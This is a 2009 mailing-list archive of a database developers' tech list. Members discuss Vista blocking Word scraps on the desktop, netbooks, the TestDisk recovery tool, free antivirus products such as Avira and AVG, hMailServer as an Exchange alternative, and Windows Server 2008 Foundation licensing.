From ssharkins at gmail.com  Wed Apr  1 09:37:43 2009
From: ssharkins at gmail.com (Susan Harkins)
Date: Wed, 1 Apr 2009 10:37:43 -0400
Subject: [dba-Tech] Vista prevents Word scraps?
Message-ID: <3C141FBDE78447998A407BBB9EA5E85E@SusanOne>

I wrote a short tip about dragging Word content to the Desktop and a reader 
using Vista and Word 2007 says it doesn't work. I'm not running Vista, would 
someone with a Vista system try it? I don't know whether Vista really 
prevents it or if the reader's just not doing it right.

Susan H. 



From fuller.artful at gmail.com  Wed Apr  1 09:42:25 2009
From: fuller.artful at gmail.com (Arthur Fuller)
Date: Wed, 1 Apr 2009 10:42:25 -0400
Subject: [dba-Tech] Vista prevents Word scraps?
In-Reply-To: <3C141FBDE78447998A407BBB9EA5E85E@SusanOne>
References: <3C141FBDE78447998A407BBB9EA5E85E@SusanOne>
Message-ID: <29f585dd0904010742o6859b3bfy6c07f9f7d2844c46@mail.gmail.com>

As a Vista user I would be happy to oblige but you didn't send a link to the
tip of interest.

A.

On Wed, Apr 1, 2009 at 10:37 AM, Susan Harkins <ssharkins at gmail.com> wrote:

> I wrote a short tip about dragging Word content to the Desktop and a reader
> using Vista and Word 2007 says it doesn't work. I'm not running Vista,
> would
> someone with a Vista system try it? I don't know whether Vista really
> prevents it or if the reader's just not doing it right.
>
> Susan H.
>


From ssharkins at gmail.com  Wed Apr  1 09:56:04 2009
From: ssharkins at gmail.com (Susan Harkins)
Date: Wed, 1 Apr 2009 10:56:04 -0400
Subject: [dba-Tech] Vista prevents Word scraps?
References: <3C141FBDE78447998A407BBB9EA5E85E@SusanOne>
	<29f585dd0904010742o6859b3bfy6c07f9f7d2844c46@mail.gmail.com>
Message-ID: <25A546D2FFE844D0953AC13B1A2AF843@SusanOne>

http://blogs.techrepublic.com.com/msoffice/?p=1050

Sorry Arthur -- it really isn't necessary to read the tip -- you'll see once 
you've read it. :) Thanks!

Susan H.


> As a Vista user I would be happy to oblige but you didn't send a link to 
> the
> tip of interest.

>> I wrote a short tip about dragging Word content to the Desktop and a 
>> reader
>> using Vista and Word 2007 says it doesn't work. I'm not running Vista,
>> would
>> someone with a Vista system try it? I don't know whether Vista really
>> prevents it or if the reader's just not doing it right.



From rockysmolin at bchacc.com  Wed Apr  1 10:07:03 2009
From: rockysmolin at bchacc.com (Rocky Smolin)
Date: Wed, 1 Apr 2009 08:07:03 -0700
Subject: [dba-Tech] Vista prevents Word scraps?
In-Reply-To: <25A546D2FFE844D0953AC13B1A2AF843@SusanOne>
References: <3C141FBDE78447998A407BBB9EA5E85E@SusanOne><29f585dd0904010742o6859b3bfy6c07f9f7d2844c46@mail.gmail.com>
	<25A546D2FFE844D0953AC13B1A2AF843@SusanOne>
Message-ID: <FBB0081E31C640399289D821DFD0D883@HAL9005>

I tried it with Vista Ultimate and Word 2007.  And it didn't work.  

Rocky


-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Susan Harkins
Sent: Wednesday, April 01, 2009 7:56 AM
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] Vista prevents Word scraps?

http://blogs.techrepublic.com.com/msoffice/?p=1050

Sorry Arthur -- it really isn't necessary to read the tip -- you'll see once
you've read it. :) Thanks!

Susan H.


> As a Vista user I would be happy to oblige but you didn't send a link 
> to the tip of interest.

>> I wrote a short tip about dragging Word content to the Desktop and a 
>> reader using Vista and Word 2007 says it doesn't work. I'm not 
>> running Vista, would someone with a Vista system try it? I don't know 
>> whether Vista really prevents it or if the reader's just not doing it 
>> right.

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From ssharkins at gmail.com  Wed Apr  1 10:21:01 2009
From: ssharkins at gmail.com (Susan Harkins)
Date: Wed, 1 Apr 2009 11:21:01 -0400
Subject: [dba-Tech] Vista prevents Word scraps?
References: <3C141FBDE78447998A407BBB9EA5E85E@SusanOne><29f585dd0904010742o6859b3bfy6c07f9f7d2844c46@mail.gmail.com><25A546D2FFE844D0953AC13B1A2AF843@SusanOne>
	<FBB0081E31C640399289D821DFD0D883@HAL9005>
Message-ID: <EAC27FD0CCE14D94BAB08F4DE5FA63D7@SusanOne>

Does it just refuse to do it, do you get a message? I'm wondering if this is 
some kind of security setting that could be reset?

Susan H.



>I tried it with Vista Ultimate and Word 2007.  And it didn't work.
>
> http://blogs.techrepublic.com.com/msoffice/?p=1050
>



From rockysmolin at bchacc.com  Wed Apr  1 10:59:21 2009
From: rockysmolin at bchacc.com (Rocky Smolin)
Date: Wed, 1 Apr 2009 08:59:21 -0700
Subject: [dba-Tech] Vista prevents Word scraps?
In-Reply-To: <EAC27FD0CCE14D94BAB08F4DE5FA63D7@SusanOne>
References: <3C141FBDE78447998A407BBB9EA5E85E@SusanOne><29f585dd0904010742o6859b3bfy6c07f9f7d2844c46@mail.gmail.com><25A546D2FFE844D0953AC13B1A2AF843@SusanOne><FBB0081E31C640399289D821DFD0D883@HAL9005>
	<EAC27FD0CCE14D94BAB08F4DE5FA63D7@SusanOne>
Message-ID: <5F91E91EFBA647ED8F1D485B771ACB6B@HAL9005>

When I try to drag it to the desktop I get that circle with the slash icon
when the mouse pointer gets to the desktop. If I right click the selected
text and copy it then right click the desk top, the Paste command in the
context menu is grayed out.  So apparently the desktop is not 'seeing' the
clipboard at that point. 

If you want to try it we may be able to use Windows Remote Assistance so you
can work it yourself on my machine. Let me know if you want to try that.

Rocky


-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Susan Harkins
Sent: Wednesday, April 01, 2009 8:21 AM
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] Vista prevents Word scraps?

Does it just refuse to do it, do you get a message? I'm wondering if this is
some kind of security setting that could be reset?

Susan H.



>I tried it with Vista Ultimate and Word 2007.  And it didn't work.
>
> http://blogs.techrepublic.com.com/msoffice/?p=1050
>

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From ssharkins at gmail.com  Wed Apr  1 11:02:16 2009
From: ssharkins at gmail.com (Susan Harkins)
Date: Wed, 1 Apr 2009 12:02:16 -0400
Subject: [dba-Tech] Vista prevents Word scraps?
References: <3C141FBDE78447998A407BBB9EA5E85E@SusanOne><29f585dd0904010742o6859b3bfy6c07f9f7d2844c46@mail.gmail.com><25A546D2FFE844D0953AC13B1A2AF843@SusanOne><FBB0081E31C640399289D821DFD0D883@HAL9005><EAC27FD0CCE14D94BAB08F4DE5FA63D7@SusanOne>
	<5F91E91EFBA647ED8F1D485B771ACB6B@HAL9005>
Message-ID: <B576EA01CD9C4792924791811D499BF5@SusanOne>

Thanks Rocky -- no need to remote -- I can clearly see what's happening 
thanks to your description. Thank you for checking this out for me.

Susan H.

> When I try to drag it to the desktop I get that circle with the slash icon
> when the mouse pointer gets to the desktop. If I right click the selected
> text and copy it then right click the desk top, the Paste command in the
> context menu is grayed out.  So apparently the desktop is not 'seeing' the
> clipboard at that point.
>
> If you want to try it we may be able to use Windows Remote Assistance so 
> you
> can work it yourself on my machine. Let me know if you want to try that.
>
> Rocky
>
>
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Susan Harkins
> Sent: Wednesday, April 01, 2009 8:21 AM
> To: Discussion of Hardware and Software issues
> Subject: Re: [dba-Tech] Vista prevents Word scraps?
>
> Does it just refuse to do it, do you get a message? I'm wondering if this 
> is
> some kind of security setting that could be reset?
>
> Susan H.
>
>
>
>>I tried it with Vista Ultimate and Word 2007.  And it didn't work.
>>
>> http://blogs.techrepublic.com.com/msoffice/?p=1050
>>
>
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From ssharkins at gmail.com  Wed Apr  1 13:24:51 2009
From: ssharkins at gmail.com (Susan Harkins)
Date: Wed, 1 Apr 2009 14:24:51 -0400
Subject: [dba-Tech] On Vista
Message-ID: <F592A62997C641CDBB901D8B49487E00@SusanOne>

http://blogs.techrepublic.com.com/10things/?p=639

The technical opinions are all Drew's, I was just along for the ride. :) 

Thanks!
Susan H. 


From ssharkins at gmail.com  Sun Apr  5 11:22:46 2009
From: ssharkins at gmail.com (Susan Harkins)
Date: Sun, 5 Apr 2009 12:22:46 -0400
Subject: [dba-Tech] netbooks
Message-ID: <A7873599DD6B444D8BD45F30BE0C5C22@SusanOne>

Do any of you use a netbook instead of a laptop? If so, why? Who supports 
it -- you or an IT department?

Susan H. 



From accessd at shaw.ca  Sun Apr  5 15:03:43 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Sun, 5 Apr 2009 13:03:43 -0700
Subject: [dba-Tech] netbooks
In-Reply-To: <A7873599DD6B444D8BD45F30BE0C5C22@SusanOne>
References: <A7873599DD6B444D8BD45F30BE0C5C22@SusanOne>
Message-ID: <2EA1D993E3BF4887B94AB5550F8A87EC@creativesystemdesigns.com>

Hi Susan:

If they are Dell or IBM laptops I support them. (Finished a joint Dell and
IBM training session about a month ago.) At least near major cities there is
a team of specialized and company certified IT people who support paid for
or under-warranty products right at your home or business with a 3 day turn
around.

Laptops are quite a bit different than regular desktop computers as each is
totally proprietary (but there have been moves to standardize). One laptop
can have up to 10 different types of screws, micro-connectors, wiring
layouts and hardware testing software.  

Jim 

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Susan Harkins
Sent: Sunday, April 05, 2009 9:23 AM
To: DBA Tech List
Subject: [dba-Tech] netbooks

Do any of you use a netbook instead of a laptop? If so, why? Who supports 
it -- you or an IT department?

Susan H. 

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From accessd at shaw.ca  Sun Apr  5 15:08:01 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Sun, 5 Apr 2009 13:08:01 -0700
Subject: [dba-Tech] Great software tool for your kit
In-Reply-To: <A7873599DD6B444D8BD45F30BE0C5C22@SusanOne>
References: <A7873599DD6B444D8BD45F30BE0C5C22@SusanOne>
Message-ID: <FA6FB520B1D34A9F9B65F3D9A7AE28DE@creativesystemdesigns.com>

Hi All:

Just ran across this following product called TestDisk.
(http://fileforum.betanews.com/detail/TestDisk-for-Linux/1180970951/3) It is
an open-source app that can recover corrupted disks from FAT to Linux (even
swap disks). It will rebuild boot tracks and partition tables. 

A good friend had it recover his whole Linux disk after it had been hammered
by a careless Windows install and it worked like a charm. (He had tried a
number of commercial products and they all failed.) 

I subsequently had to recover a corrupted Windows hard drive and it also
worked excellently.

Even if you do not use it, it may prove a useful tool for you in the future.

Jim



From rockysmolin at bchacc.com  Mon Apr  6 18:07:36 2009
From: rockysmolin at bchacc.com (Rocky Smolin)
Date: Mon, 6 Apr 2009 16:07:36 -0700
Subject: [dba-Tech] Avira
Message-ID: <F6A7F510AA6E4729B1D1422482D0DB51@HAL9005>

Anybody know anything about Avira anti-virus software?

 

Rocky

 


From jon at tydda.plus.com  Mon Apr  6 18:16:45 2009
From: jon at tydda.plus.com (Jon Tydda)
Date: Tue, 7 Apr 2009 00:16:45 +0100
Subject: [dba-Tech] Avira
In-Reply-To: <F6A7F510AA6E4729B1D1422482D0DB51@HAL9005>
References: <F6A7F510AA6E4729B1D1422482D0DB51@HAL9005>
Message-ID: <F4DFDAF5359946C182D24C27E58E0860@jt2c>

I've not used it, but I've heard good things about it. I think it's in the
same kind of league as AVG - not the best, but definitely not a McAfee or a
Norton either :-)

I think you can get a free version, which means it's pretty popular too, I
guess.


Jon

-----Original Message-----
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Sent: 07 April 2009 00:08
To: List
Subject: [dba-Tech] Avira

Anybody know anything about Avira anti-virus software?

 

Rocky

 




From rockysmolin at bchacc.com  Mon Apr  6 19:12:29 2009
From: rockysmolin at bchacc.com (Rocky Smolin)
Date: Mon, 6 Apr 2009 17:12:29 -0700
Subject: [dba-Tech] Avira
In-Reply-To: <F4DFDAF5359946C182D24C27E58E0860@jt2c>
References: <F6A7F510AA6E4729B1D1422482D0DB51@HAL9005>
	<F4DFDAF5359946C182D24C27E58E0860@jt2c>
Message-ID: <968F7F575875433197B79AA613970747@HAL9005>

Thanks - will forward to they guy who asked me about it.

Rocky
 

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Jon Tydda
Sent: Monday, April 06, 2009 4:17 PM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Avira

I've not used it, but I've heard good things about it. I think it's in the
same kind of league as AVG - not the best, but definitely not a McAfee or a
Norton either :-)

I think you can get a free version, which means it's pretty popular too, I
guess.


Jon

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Subject: [dba-Tech] Avira

Anybody know anything about Avira anti-virus software?

 

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From john at winhaven.net  Mon Apr  6 23:25:22 2009
From: john at winhaven.net (John Bartow)
Date: Mon, 6 Apr 2009 23:25:22 -0500
Subject: [dba-Tech] Avira
In-Reply-To: <F6A7F510AA6E4729B1D1422482D0DB51@HAL9005>
References: <F6A7F510AA6E4729B1D1422482D0DB51@HAL9005>
Message-ID: <000701c9b738$dde0ab30$99a20190$@net>

I Rocky,
I use it on people that want free AV. I think it's better than AVG or Avast
which are the other two big free AVs. Avira offers a number of things that
are quite impressive for a free AV. It includes anti-malware and an
anti-rootkit capability that work quite well. I compared its overall
resource use against Vipre, which is currently the lowest resource consumer
for full protection and it is about 3 times higher. That is still in the
pack though compared to other AVs. If someone won't spend the $30 for Vipre,
I recommend it.

HTH
John B

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky Smolin
Sent: Monday, April 06, 2009 6:08 PM
To: List
Subject: [dba-Tech] Avira

Anybody know anything about Avira anti-virus software?

 

Rocky

 




From rockysmolin at bchacc.com  Mon Apr  6 23:51:44 2009
From: rockysmolin at bchacc.com (Rocky Smolin)
Date: Mon, 6 Apr 2009 21:51:44 -0700
Subject: [dba-Tech] Avira
In-Reply-To: <000701c9b738$dde0ab30$99a20190$@net>
References: <F6A7F510AA6E4729B1D1422482D0DB51@HAL9005>
	<000701c9b738$dde0ab30$99a20190$@net>
Message-ID: <38EC1BF5894F40F8AE378303EE80C3C7@HAL9005>

Thanks.  That's what I need to know.

Rocky
 

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of John Bartow
Sent: Monday, April 06, 2009 9:25 PM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Avira

I Rocky,
I use it on people that want free AV. I think it's better than AVG or Avast
which are the other two big free AVs. Avira offers a number of things that
are quite impressive for a free AV. It includes anti-malware and an
anti-rootkit capability that work quite well. I compared its overall
resource use against Vipre, which is currently the lowest resource consumer
for full protection and it is about 3 times higher. That is still in the
pack though compared to other AVs. If someone won't spend the $30 for Vipre,
I recommend it.

HTH
John B

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky Smolin
Sent: Monday, April 06, 2009 6:08 PM
To: List
Subject: [dba-Tech] Avira

Anybody know anything about Avira anti-virus software?

 

Rocky

 


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From jon.tydda at lonza.com  Tue Apr  7 02:48:45 2009
From: jon.tydda at lonza.com (Tydda Jon - Slough)
Date: Tue, 7 Apr 2009 09:48:45 +0200
Subject: [dba-Tech] Great software tool for your kit
In-Reply-To: <FA6FB520B1D34A9F9B65F3D9A7AE28DE@creativesystemdesigns.com>
References: <A7873599DD6B444D8BD45F30BE0C5C22@SusanOne>
	<FA6FB520B1D34A9F9B65F3D9A7AE28DE@creativesystemdesigns.com>
Message-ID: <A750CC0AAE63CB489C58478FF67DE6320682FD9081@chvex03.lonzagroup.net>

http://www.cgsecurity.org/wiki/PhotoRec

http://www.cgsecurity.org/wiki/TestDisk_Download

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Jim Lawrence
Sent: Sunday, April 05, 2009 9:08 PM
To: 'Discussion of Hardware and Software issues'
Subject: [dba-Tech] Great software tool for your kit

Hi All:

Just ran across this following product called TestDisk.
(http://fileforum.betanews.com/detail/TestDisk-for-Linux/1180970951/3) It is an open-source app that can recover corrupted disks from FAT to Linux (even swap disks). It will rebuild boot tracks and partition tables.

A good friend had it recover his whole Linux disk after it had been hammered by a careless Windows install and it worked like a charm. (He had tried a number of commercial products and they all failed.)

I subsequently had to recover a corrupted Windows hard drive and it also worked excellently.

Even if you do not use it, it may prove a useful tool for you in the future.

Jim

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From hkotsch at arcor.de  Tue Apr  7 03:15:00 2009
From: hkotsch at arcor.de (Helmut Kotsch)
Date: Tue, 7 Apr 2009 10:15:00 +0200
Subject: [dba-Tech] Avira
In-Reply-To: <F6A7F510AA6E4729B1D1422482D0DB51@HAL9005>
Message-ID: <JIECLJNJOMBJFEDLONCBEEMNFIAA.hkotsch@arcor.de>

Rocky,
I use "Avira Premium Security Suite" for 3 PC's (59.95 EURO) all the time
and am very happy with it. They update the key files a couple of times
during the day. The disadvantage of the free version is, besides missing
some features, that the server for the free version daily updates is very
slow.
Their link is: http://www.avira.com/en/solutions/home_home_office.html

Helmut

-----Ursprungliche Nachricht-----
Von: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com]Im Auftrag von Rocky
Smolin
Gesendet: Dienstag, 7. April 2009 01:08
An: List
Betreff: [dba-Tech] Avira


Anybody know anything about Avira anti-virus software?



Rocky






From Gustav at cactus.dk  Tue Apr  7 03:30:16 2009
From: Gustav at cactus.dk (Gustav Brock)
Date: Tue, 07 Apr 2009 10:30:16 +0200
Subject: [dba-Tech] Avira
Message-ID: <s9db2b52.041@cactus.dk>

Hi Rocky

Exactly our experience too. 
I can add that it is a bit sensitive to some uninstall exe where it pops a false positive now an then with a sound that blows you off the chair. And the free version sometimes pops a gigantic promo window which you quickly learn to click away.

/gustav

>>> john at winhaven.net 07-04-2009 06:25 >>>
I Rocky,
I use it on people that want free AV. I think it's better than AVG or Avast
which are the other two big free AVs. Avira offers a number of things that
are quite impressive for a free AV. It includes anti-malware and an
anti-rootkit capability that work quite well. I compared its overall
resource use against Vipre, which is currently the lowest resource consumer
for full protection and it is about 3 times higher. That is still in the
pack though compared to other AVs. If someone won't spend the $30 for Vipre,
I recommend it.

HTH
John B

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com 
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky Smolin
Sent: Monday, April 06, 2009 6:08 PM
To: List
Subject: [dba-Tech] Avira

Anybody know anything about Avira anti-virus software?





From rockysmolin at bchacc.com  Tue Apr  7 07:55:34 2009
From: rockysmolin at bchacc.com (Rocky Smolin)
Date: Tue, 7 Apr 2009 05:55:34 -0700
Subject: [dba-Tech] Avira
In-Reply-To: <JIECLJNJOMBJFEDLONCBEEMNFIAA.hkotsch@arcor.de>
References: <F6A7F510AA6E4729B1D1422482D0DB51@HAL9005>
	<JIECLJNJOMBJFEDLONCBEEMNFIAA.hkotsch@arcor.de>
Message-ID: <B1E8DCD4BCCB4EC7AADEB4C607164834@HAL9005>

Do you think it's more effective than AVG?

Rocky
 

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Helmut Kotsch
Sent: Tuesday, April 07, 2009 1:15 AM
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] Avira

Rocky,
I use "Avira Premium Security Suite" for 3 PC's (59.95 EURO) all the time
and am very happy with it. They update the key files a couple of times
during the day. The disadvantage of the free version is, besides missing
some features, that the server for the free version daily updates is very
slow.
Their link is: http://www.avira.com/en/solutions/home_home_office.html

Helmut

-----Ursprungliche Nachricht-----
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Gesendet: Dienstag, 7. April 2009 01:08
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Betreff: [dba-Tech] Avira


Anybody know anything about Avira anti-virus software?



Rocky




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From rockysmolin at bchacc.com  Tue Apr  7 07:55:50 2009
From: rockysmolin at bchacc.com (Rocky Smolin)
Date: Tue, 7 Apr 2009 05:55:50 -0700
Subject: [dba-Tech] Avira
In-Reply-To: <s9db2b52.041@cactus.dk>
References: <s9db2b52.041@cactus.dk>
Message-ID: <2DE2EEF4A8C1488BBFC8C58B156E9279@HAL9005>

Better than AVG?

Rocky
 

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Gustav Brock
Sent: Tuesday, April 07, 2009 1:30 AM
To: dba-tech at databaseadvisors.com
Subject: Re: [dba-Tech] Avira

Hi Rocky

Exactly our experience too. 
I can add that it is a bit sensitive to some uninstall exe where it pops a
false positive now an then with a sound that blows you off the chair. And
the free version sometimes pops a gigantic promo window which you quickly
learn to click away.

/gustav

>>> john at winhaven.net 07-04-2009 06:25 >>>
I Rocky,
I use it on people that want free AV. I think it's better than AVG or Avast
which are the other two big free AVs. Avira offers a number of things that
are quite impressive for a free AV. It includes anti-malware and an
anti-rootkit capability that work quite well. I compared its overall
resource use against Vipre, which is currently the lowest resource consumer
for full protection and it is about 3 times higher. That is still in the
pack though compared to other AVs. If someone won't spend the $30 for Vipre,
I recommend it.

HTH
John B

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky Smolin
Sent: Monday, April 06, 2009 6:08 PM
To: List
Subject: [dba-Tech] Avira

Anybody know anything about Avira anti-virus software?



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From Gustav at cactus.dk  Tue Apr  7 08:03:04 2009
From: Gustav at cactus.dk (Gustav Brock)
Date: Tue, 07 Apr 2009 15:03:04 +0200
Subject: [dba-Tech] Avira
Message-ID: <s9db6b4a.055@cactus.dk>

Hi Rocky

Well, what is better? A matter of preference I think.

/gustav


>>> rockysmolin at bchacc.com 07-04-2009 14:55 >>>
Better than AVG?

Rocky
 

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com 
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Gustav Brock
Sent: Tuesday, April 07, 2009 1:30 AM
To: dba-tech at databaseadvisors.com 
Subject: Re: [dba-Tech] Avira

Hi Rocky

Exactly our experience too. 
I can add that it is a bit sensitive to some uninstall exe where it pops a
false positive now an then with a sound that blows you off the chair. And
the free version sometimes pops a gigantic promo window which you quickly
learn to click away.

/gustav

>>> john at winhaven.net 07-04-2009 06:25 >>>
I Rocky,
I use it on people that want free AV. I think it's better than AVG or Avast
which are the other two big free AVs. Avira offers a number of things that
are quite impressive for a free AV. It includes anti-malware and an
anti-rootkit capability that work quite well. I compared its overall
resource use against Vipre, which is currently the lowest resource consumer
for full protection and it is about 3 times higher. That is still in the
pack though compared to other AVs. If someone won't spend the $30 for Vipre,
I recommend it.

HTH
John B

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com 
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky Smolin
Sent: Monday, April 06, 2009 6:08 PM
To: List
Subject: [dba-Tech] Avira

Anybody know anything about Avira anti-virus software?





From john at winhaven.net  Tue Apr  7 10:08:32 2009
From: john at winhaven.net (John Bartow)
Date: Tue, 7 Apr 2009 10:08:32 -0500
Subject: [dba-Tech] Avira
In-Reply-To: <s9db6b4a.055@cactus.dk>
References: <s9db6b4a.055@cactus.dk>
Message-ID: <00e001c9b792$b73e9550$25bbbff0$@net>

To some degree I'd concur that  it is a matter of personal preference.

-Avira has not failed any of my customers by allowing malware through
whereas AVG has a couple of times in the last few months - mostly with the
fake antivirus malware, which is a difficult case no doubt. No security
product is perfect. This could just be that the AVG users were more prone to
visit sites with fake AV downloads than the Avira users. Statistics...

-I find the UI a bit easier to understand than AVG's. AVGs UI has improved
but still seems a bit odd to me.

-Avira free allows more scheduling options than AVG free.

-Avira "seems" to run faster than AVG. I haven't personally benchmarked them
against each other but there are (old) benchmarks that do compare security
products and Avira is slightly better performance wise than AVG.

John

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Gustav Brock
Sent: Tuesday, April 07, 2009 8:03 AM
To: dba-tech at databaseadvisors.com
Subject: Re: [dba-Tech] Avira

Hi Rocky

Well, what is better? A matter of preference I think.

/gustav


>>> rockysmolin at bchacc.com 07-04-2009 14:55 >>>
Better than AVG?

Rocky
 

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com 
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Gustav Brock
Sent: Tuesday, April 07, 2009 1:30 AM
To: dba-tech at databaseadvisors.com 
Subject: Re: [dba-Tech] Avira

Hi Rocky

Exactly our experience too. 
I can add that it is a bit sensitive to some uninstall exe where it pops a
false positive now an then with a sound that blows you off the chair. And
the free version sometimes pops a gigantic promo window which you quickly
learn to click away.

/gustav

>>> john at winhaven.net 07-04-2009 06:25 >>>
I Rocky,
I use it on people that want free AV. I think it's better than AVG or Avast
which are the other two big free AVs. Avira offers a number of things that
are quite impressive for a free AV. It includes anti-malware and an
anti-rootkit capability that work quite well. I compared its overall
resource use against Vipre, which is currently the lowest resource consumer
for full protection and it is about 3 times higher. That is still in the
pack though compared to other AVs. If someone won't spend the $30 for Vipre,
I recommend it.

HTH
John B

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com 
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky Smolin
Sent: Monday, April 06, 2009 6:08 PM
To: List
Subject: [dba-Tech] Avira

Anybody know anything about Avira anti-virus software?



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From john at winhaven.net  Tue Apr  7 11:59:38 2009
From: john at winhaven.net (John Bartow)
Date: Tue, 7 Apr 2009 11:59:38 -0500
Subject: [dba-Tech] looking for an alternative to Exchange
Message-ID: <017301c9b7a2$3cd35e80$b67a1b80$@net>

To put it a simply as I can. I'm looking for an email server system that can
handle incoming/outgoing internet email addresses but can also redirect the
email sent to inter-office addresses so that they don't need to leave the
network. Open source (or low cost) for Windows Server 20003/2008 would be
great.



From Gustav at cactus.dk  Tue Apr  7 12:10:27 2009
From: Gustav at cactus.dk (Gustav Brock)
Date: Tue, 07 Apr 2009 19:10:27 +0200
Subject: [dba-Tech] looking for an alternative to Exchange
Message-ID: <s9dba542.060@cactus.dk>

Hi John

A qualified bet is hMailServer:

http://www.hmailserver.com/

Version 5.x is closed source while 4.x is open-source (C++) but both are free to use and offers unlimited domains and users.
A nice feature is that all mails are kept in a simple folder structure as discrete files as received while all key data (sender, receiver, date, etc.) are extracted and stored in a MySQL or SQL Server.
Also, the support forum is excellent.

/gustav


>>> john at winhaven.net 07-04-2009 18:59 >>>
To put it a simply as I can. I'm looking for an email server system that can
handle incoming/outgoing internet email addresses but can also redirect the
email sent to inter-office addresses so that they don't need to leave the
network. Open source (or low cost) for Windows Server 20003/2008 would be
great.





From john at winhaven.net  Tue Apr  7 12:35:15 2009
From: john at winhaven.net (John Bartow)
Date: Tue, 7 Apr 2009 12:35:15 -0500
Subject: [dba-Tech] looking for an alternative to Exchange
In-Reply-To: <s9dba542.060@cactus.dk>
References: <s9dba542.060@cactus.dk>
Message-ID: <01c801c9b7a7$3612e840$a238b8c0$@net>

Hi Gustav,
Thanks for the reference, I'll check into it.

John

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Gustav Brock
Sent: Tuesday, April 07, 2009 12:10 PM
To: dba-tech at databaseadvisors.com
Subject: Re: [dba-Tech] looking for an alternative to Exchange

Hi John

A qualified bet is hMailServer:

http://www.hmailserver.com/



From john at winhaven.net  Tue Apr  7 12:35:15 2009
From: john at winhaven.net (John Bartow)
Date: Tue, 7 Apr 2009 12:35:15 -0500
Subject: [dba-Tech] Windows Server 2008
Message-ID: <01c901c9b7a7$364765c0$a2d63140$@net>

Anyone have great experiences with Windows Server 2008 - so much so that you
recommend it over Windows Server 2003R2?


I find the new OEM Windows Server 2008 Foundation version licensing should
make life easier:

Windows Server 2008 Foundation Availability and Licensing

Windows Server 2008 Foundation is licensed by user accounts. Each license of
Windows Server 2008 Foundation is limited to a maximum of 15 user accounts.
Moreover, a user account can be assigned to only one distinct user at a
time.

Because Windows Server 2008 Foundation is licensed in this way, you do not
require Windows Server client access licenses (CALs). This also makes
Windows Server 2008 Foundation much more cost effective for small
businesses. Although Windows Server 2008 Foundation does not require Windows
Server CALs, TS CALs or Rights Management CALs are required to use those
server roles on a Windows Server 2008 Foundation-based server. 

Windows Server 2008 Foundation is available through Original Equipment
Manufacturers (OEMs) only. Please visit the Find a Partner page to find your
local OEM, or contact your preferred OEM directly. Windows Server 2008
Foundation will be released in the following languages: English, Spanish,
Turkish, Portuguese (Brazilian), Japanese, and Chinese (traditional),
Chinese (simplified).



From Gustav at cactus.dk  Tue Apr  7 12:40:04 2009
From: Gustav at cactus.dk (Gustav Brock)
Date: Tue, 07 Apr 2009 19:40:04 +0200
Subject: [dba-Tech] Windows Server 2008
Message-ID: <s9dbac2e.062@cactus.dk>

Hi John

My colleague claims it to be much easier to set up. 

Is the Foundation version out? Sounds like a bargain.

/gustav


>>> john at winhaven.net 07-04-2009 19:35 >>>
Anyone have great experiences with Windows Server 2008 - so much so that you
recommend it over Windows Server 2003R2?


I find the new OEM Windows Server 2008 Foundation version licensing should
make life easier:

Windows Server 2008 Foundation Availability and Licensing

Windows Server 2008 Foundation is licensed by user accounts. Each license of
Windows Server 2008 Foundation is limited to a maximum of 15 user accounts.
Moreover, a user account can be assigned to only one distinct user at a
time.

Because Windows Server 2008 Foundation is licensed in this way, you do not
require Windows Server client access licenses (CALs). This also makes
Windows Server 2008 Foundation much more cost effective for small
businesses. Although Windows Server 2008 Foundation does not require Windows
Server CALs, TS CALs or Rights Management CALs are required to use those
server roles on a Windows Server 2008 Foundation-based server. 

Windows Server 2008 Foundation is available through Original Equipment
Manufacturers (OEMs) only. Please visit the Find a Partner page to find your
local OEM, or contact your preferred OEM directly. Windows Server 2008
Foundation will be released in the following languages: English, Spanish,
Turkish, Portuguese (Brazilian), Japanese, and Chinese (traditional),
